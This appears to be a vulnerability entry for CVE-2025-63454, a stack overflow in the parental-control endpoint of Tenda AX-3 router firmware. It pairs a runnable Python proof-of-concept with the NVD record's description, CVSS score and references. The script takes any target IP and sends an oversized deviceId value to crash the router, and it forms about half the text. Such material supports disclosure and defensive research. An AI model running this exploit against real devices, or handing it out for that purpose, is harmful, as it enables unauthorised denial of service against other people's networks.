CVE-2025-63454

#!/usr/bin/env python3 """ CVE-2025-63454 PoC - Tenda AX-3 Stack Overflow in get_parentControl_list_Info This PoC demonstrates a stack overflow vulnerability in the deviceId parameter of the get_parentControl_list_Info function in Tenda AX-3 routers. """ import requests import sys def exploit_cve_2025_63454(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in Tenda AX-3 router. Args: target_ip: Target router IP address target_port: Target router web port (default: 80) """ url = f"http://{target_ip}:{target_port}/goform/get_parentControl_list_Info" # Generate payload with 1000 'A' characters to trigger overflow # Adjust length based on actual buffer size payload = "A" * 1000 # Construct the request data data = { "deviceId": payload } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Target may be crashed or not responding: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_63454(target, port)

{"cve": {"id": "CVE-2025-63454", "sourceIdentifier": "[email protected]", "published": "2025-10-31T19:15:51.047", "lastModified": "2025-11-05T17:29:08.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-3 v16.03.12.10_CN was discovered to contain a stack overflow via the deviceId parameter in the get_parentControl_list_Info function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.10_cn:*:*:*:*:*:*:*", "matchCriteriaId": "32EB7A98-B727-434B-885D-3BB3F1FD18C2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/2/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/2/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}